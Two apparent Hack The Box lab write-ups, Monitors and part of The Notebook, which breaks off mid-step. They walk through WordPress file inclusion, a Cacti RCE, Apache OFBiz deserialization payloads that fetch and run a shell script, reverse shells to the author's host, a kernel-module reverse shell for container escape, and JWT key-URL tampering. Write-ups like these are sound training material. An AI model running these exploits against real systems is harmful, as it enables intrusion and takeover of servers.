Hack The Box: Monitors

Prelude

Monitors is an intermediate machine from Hack The Box developed by TheCyberGeek.

This machine follows the same principals of Breadcrumbs machine, where the player has to exploit a chain of vulnerabilities to get into the machine.

To get an intial foothold, we have to exploit a File inclusion vulnerability in a WordPress plugin. But, that is a pretty small entry point and we have to include multiple files to get into the machine.

Once we’ve got into the machine, we can exploit an RCE in Apache OFBiz to gain access to a docker container. Escape the container and we’re root!

When exploiting this box, I accidentally got root before gaining the user account, since I focused on other vectors to escalate privileges instead of the intended path.

Let’s begin the exploitation.

Exploitation

As usual I started the exploitation with Nmap scan.

nmap -sCV -v -oN tcp 10.10.10.238

And I got the scan result as follows.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
|   256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
|_  256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I navigated to http://10.10.10.238/ and found the following message.

Host address leak

I then added monitors.htb to my /etc/hosts file and navigated to http://monitors.htb/ and found the following webpage.

This was a wordpress site. So, I did a wpscan and found out that it had a wordpress plugin named wp-with-spritz.

wpscan --url http://monitors.htb/ -e ap

A quick search showed me that this plugin is vulnerable to a File Inclusion vulnerability. Link

So, I used the following PoC URL based on the above mentioned exploit to include local files.

Note:I’ve also tried to include Remote PHP files and it worked partially; but PHP code from the remote files weren’t executing.

http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=../../../wp-config.php

This URL included the wp-config.php file and it contained a password.

I tried this password to login as marcus ; a username I’ve found by including the /etc/passwd file of the target, but the password was incorrect.

Finding Hidden Hostname

At this point I was stuck. So, I decided to include the apache configuration files.

I included the default configuration file using the following URL.

http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/apache2/sites-available/000-default.conf

In the default file, there was a comment mentioning the file name of a new hostname.

Found a new trail!

So, I added cacti-admin.monitors.htb.conf into my hosts file and browsed to it.

I used the credential admin:BestAdministrator@2020! to login to Cacti.

And I was in!

Exploiting Cacti

There was nothing much to do in Cacti. So I searched exploits for Cacti and found an RCE exploit for Cacti. Link

I downloaded the exploit, started a nc listener and issued the following command to exploit cacti.

python3 cacti.py -t http://cacti-admin.monitors.htb -u admin -p BestAdministrator\@2020\! --lhost 10.10.14.19 --lport 9001

And I got a shell back as www-data!

Gaining Shell as marcus

Once we get inside the machine as www-data, we can view the contents of marcus’s home directory.

In marcus’s home directory, there’s a hidden folder named .backup, but we cannot list the contents inside of it, but we have execute permissions in the folder.

If we search for files in the machine, which have reference to marcus, we will get a service file with reference to a file named backup.sh inside the /home/marcus/.backup folder.

This search was done inside /etc directory

We can open the backup.sh file to view the password for Marcus.

The password for marcus is VerticalEdge2020.

How could we read the file in a directory with only executable permission?

Now you might be wondering how could we read the contents of a file in a directory, where we only had executable permissions in it?

The answer is a simple and a little complicated.

The practical effect of linux permissions are different than we imagine. Here’s a table that shows different permissions and their practical effects. Source

linux directory permissions

The directory /home/marcus/.backup has --X permissions. which means that we (www-data) can’t list the files in the directory, but we (www-data) can read the file contents, if we know the file name.

That’s how we were able to read the contents of backup.sh.

Now that it’s clear, let’s go back to exploitation.

We can use the password we got from backup.sh to login as Marcus via SSH.

Once we are inside marcus’s home directory, we can view a text file named note.txt. Opening the file shows the following content.

It indicates the presence of a docker image.

Privilege Escalation

If we issue ps -ef as marcus, then we can see the command issued to start the docker container.

It shows us that the traffic from docker container’s port 8443 is forwarded to the target’s port 8443.

If we forward port 8443 of the target, and navigate to https://127.0.0.1:8443/ we can see that it is running Tomcat.

I did a gobuster on this and found several e-commerce related terms like /ebay are getting 302.

So, I navigated to https://127.0.0.1:8443/ebay and it redirected me to an Apache Ofbiz login page.

In the bottom right corner, it showed the version of Apache Ofbiz as 17.12.01.

Searching Apache OFBiz on google showed that version 17.12.01 had an RCE.

There’s a github repo by g33xter which had a detailed PoC on how to exploit it.

Basically it is a deserialization vulnerability. Using that deserialization vulnerability, we will first upload a custom bash shell script to the target. After that, we will use the same vulnerability to execute the uploaded shell script to get a reverse shell back.

I did the following steps to exploit this vulnerability based on the instructions from the above GitHub repo.

First, I created a bash shell script file named shell.sh with the following contents.

# Contents of shell.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.14.19/443 0>&1

Then I hosted the shell.sh file using python http.server.

After that, I downloaded YsoSerial‘s gadget chain to generate the deserialization payload from here.

I used the following command to generate a deserialization payload that will fetch shell.sh from my kali machine and save it to target’s /tmp. Here 10.10.14.19 is my IP address.

bash java -jar ysoserial-master-d367e379d9-1.jar CommonsBeanutils1 "wget 10.10.14.19/shell.sh -O /tmp/shell.sh" | base64 -w 0

I then copied the generated base64 encoded payload and pasted in the following cURL request.

curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"> !BASE64 HERE! </serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

Replace the !BASE64 HERE! with the base64 encoded deserialization payload [ between extensions"> and </serializable> ]. I used the following cURL request to trigger the shell upload.

curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABr7K/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAqd2dldCAxMC4xMC4xNC4xOS9zaGVsbC5zaCAtTyAvdG1wL3NoZWxsLnNoCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAdeXNvc2VyaWFsL1B3bmVyMTc2NTc0Nzc0MDk3NDcBAB9MeXNvc2VyaWFsL1B3bmVyMTc2NTc0Nzc0MDk3NDc7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALwAOAAAADAABAAAABQAPADgAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAANAAOAAAAIAADAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAOAAOAAAAKgAEAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8SMbYANVexAAAAAQA2AAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgAQAAAB1Mr+ur4AAAAyABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHhxAH4ADXg=</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

If everything went correctly, then our python http.server will get a hit on shell.sh.

If our python http.server got a hit on shell.sh from the target, then we can move to the next step; i.e. executing the uploaded reverse shell script.

To do that, we have to do the same steps as before, but with different payload.

I used the following command to generate the payload to execute the script located at /tmp/shell.sh.

java -jar ysoserial-master-d367e379d9-1.jar CommonsBeanutils1 "bash /tmp/shell.sh" | base64 -w 0

Copy the generated base64 encoded deserialization payload and paste it in the following cURL command.

curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">  !BASE64 HERE!  </serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

Replace the !BASE64 HERE! with the base64 encoded deserialization payload [ between extensions"> and </serializable> ].

The Final cURL command will look like the following.

curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABqjK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASYmFzaCAvdG1wL3NoZWxsLnNoCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVyMTE0MDA0NzgxMDI3NjQzAQAgTHlzb3NlcmlhbC9Qd25lcjExNDAwNDc4MTAyNzY0MzsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ABAAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

Before sending this cURL command, don’t forget to start a nc listener to the port address we specified in the shell.sh file that we uploaded earlier.

I started the nc listener, send the request and got a shell back.

w00t?
Confused Dog GIFs | Tenor

I got a root shell back. But, it was the root shell inside of the docker container mentioned in the note.txt file earlier.

So, we would need to perform a container escape to get into actual root.

Escaping Docker Container

I did a capsh --print command to view the capabilities of the docker container and found that this container has quite a lot of interesting capabilities.

Note: We can also run deepce, which is a docker container enumeration script to check for container specific checks (linpeas for docker).

The capability that is interesting is CAP_SYS_MODULE, which allows us to insert kernel modules from the container.

Hacktricks has an excellent page on this.

To exploit this, we need to compile a kernel module and insert it to kernel.

Source code of reverse-shell.c

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.19/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Now we need a Makefile to compile this.

Source of Makefile:


all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Note: The spaces before both make -C commands MUST be TABS instead of space, otherwise the compilation will error out.

Now, enter make command to make the modules.

If everything went correctly, we should have a file named reverse-shell.ko in the current folder.

Now, I started a nc listener in my kali machine and entered the command insmod reverse-shell.ko in the docker container.

And I got a reverse shell back as root!

Dug Up GIFs | Tenor
Woof! I mean w00t!

Bonus Story

Like I mentioned before, I got root in this box before even getting user.

This is because, when I couldn’t directly open the .backups folder, I shifted my focus on open ports. And that’s when I found the port 8443. But, I since I had no SSH credentials yet, I used socat to forward the port to a higher port and accessed Tomcat that way.

I uploaded a static socat binary to the target and used the following command to forward socat’s port 8443 to a higher port 5999.

./socat tcp-listen:59999,reuseaddr,fork tcp:localhost:8443

Please note that I’m not derogating the creator or this machine in any way. Infact this was a very well crafted machine and it had a lot of parts. So, chances are that the creator overlooked the importance of marcus‘s role in solving this machine and thus this method of getting emerged as an unintended solution.

I’ve checked on HTB discord, HTB forums and found out that I was not the only one who got root this way.

Keep in mind that this unintended path is highly unstable. Since we don’t have any way to “save” our hacking progress this way and someone resetting the machine midway during our exploitation attempt will force us to do the exploit chain from the beginning all over again!

Postlude

And that was Monitors.

I still don’t get why this machine is named that way. But, I thoroughly enjoyed this machine and Kudos to TheCyberGeek for creating such a cool machine!

Peace out! ✌️

Hack The Box: The Notebook

Prelude

The Notebook is an intermediate box from Hack The Box, developed by mostwanted002. This was actually one of the fun machines in HTB and I learned some new things and relearned some old things from this machine.

The initial foothold was kind of unique and interesting. It wasn’t easy, but wasn’t that hard either. The first lateral privilege escalation was pretty standard stuff. The final privilege escalation was actually different and I could see a vulnerability I knew in action.

Let’s start the exploitation.

Exploitation

As usual I started the exploitation with Nmap scan.

nmap -sCV -v -oN tcp 10.10.10.230

And I got the scan result as follows.

# Nmap 7.91 scan initiated Sun May 30 11:47:07 2021 as: /usr/bin/nmap -sCV -v -oN tcp 10.10.10.230
Nmap scan report for 10.10.10.230
Host is up (0.26s latency).
Not shown: 997 closed ports
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
|   256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
|_  256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
80/tcp    open     http    nginx 1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: B2F904D3046B07D05F90FB6131602ED2
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
10010/tcp filtered rxapi
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There was only two ports running.

From the SSH banner, I presumed the Operating System to be Ubuntu Bionic Beaver 18.04.

Then I started the enumeration of Port 80 by navigating to http://10.10.10.230/ via the web browser and I saw the following page.

There was a Register page and a Login page

I tried some default credentials but they didn’t work. So, I moved on to Register a new account and I got in.

There was a /notes directory, where we can write and save notes. I tried some basic XSS payloads to see if there is any chance for injections. But, nothing worked.

So, I fired up BurpSuite and started looking at the requests and I found out that this web app uses a JWT for authentication.

JWT or JSON Web Token is a string that contains a Header, Payload and optionally the signature of the token. The payload in JWT can optionally be encrypted. JWT are typically used in a web-browser single-sign-on (SSO) context and is a great way to authenticate & authorize without sessions.

In short, JWT works more or less the same as a Session ID, but have more powerful features than a regular Session ID.

A JWT token consists of three base64 encoded strings separated by dots.

We can decode the JWT token using an online service or by using a simple Python script or by selecting the dot separated string hand and base64 decoding.

I used jwt.io to decode the JWT token, since it’s easier and prettier.

From the above output, we can see the Header and Payload part in plain text. If the JWT is encrypted, then we would nee the key/secret to decrypt the token.

From seeing the HEADER section, we can see that three fields.

{
"typ":"JWT",
"alg":"RS256",
"kid":"http://localhost:7070/privKey.key"
}

Here, typ specifies the JSON Web Token, the alg specified what algorithm is used to sign the JWT (Here, it is RSA256) and kid is an optional header claim, which holds a key identifier (secret keyfile used to sign the JWT).

Right away, we can see the issue. The kid parameter is used to verify the JWT and it is a URL for a keyfile named privKey.key.

Since the JWT is unencrypted, we can edit the kid parameter.

Let’s take a look at the Payload part too, before checking the kid issue.

The payload shows a parameter named admin_cap as 0. By taking an educational guess, I thought that this parameter controls if the user has admin access or not.

Exploiting the JWT token vulnerability

Let’s see if the server hits our machine, if we modify the kid parameter with our machine’s IP.

To do that, I changed the kid parameter header part of the JWT using the following command and base64 encoded it.

echo -n '{"typ":"JWT","alg":"RS256","kid":"http://10.10.14.37/privKey.key"}'|base64 -w 0 

I also extracted the payload part of the original JWT token using the following one liner.

 echo -n 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6NzA3MC9wcml2S2V5LmtleSJ9.eyJ1c2VybmFtZSI6InNlY25pZ21hIiwiZW1haWwiOiJzZWNuaWdtYUB0ZXN0LmNvbSIsImFkbWluX2NhcCI6IjAifQ.dUvKHGgWZVlib0SrhjtDi1o-2Z-x72xNwx76fTZT547G1N2y1-AyTaw5F04IYPEvqvYlRnYt1Ih3d4eb3-ka9wp0M5oj0nIj44Fml6ouRxdxKRKQ-8eNOqFYRFxaNGG9oypHpvTVf8oC3u2X8lpUkd5MfVJhGXe-vcH7s8K6pij2cP6Ba-CB-oiJIHF8KQUKhJ6VZfZqg9j8XWWKrIZARNh1KpGlNjXeNBopyXT8Q-YWg-rjWVa-G7WKQu-n_jr9hsQ4VYT1PJidYjeVN3nqui7x_7BzGHdhiv7_p2dIxxJQxEED1f44_-vuuMwhG1y9Os4YROCn5EkFM2pCoEYRnKvK3JMawzpno0NTIVpOXArC5eAYIUG5jjQUb93iXIpxHAhS4AtaQ6JNH0ezt1JoLSi0lORUbgjxnrItpGcbF0uzXbchqZZsHMExNYm4684EMTsK_pQvk9dN-6uLXjhblRBBWwdU434pCCiylIgT-cgDroW0T8aRFyuggGo8fKhoxGGSMOI4s6wXtIksPmidR0rxQlxQyzmFKPoyXl1hHTKtjjWuSe5S2oJbTSsHbo8f7aYvHoSy1Ua3kEIopkf8D_lGzFgdEhmUXGwhnAwWJclbSuEYCUURdAUthH8i0Ncfxyn3jbx5zyQDL24NQMcY0OaECrJ3QPRuhTdfG7ItLdU'|cut -d . -f2

Then the combined the two parts with a dot to separate them and the final payload looks like the following.

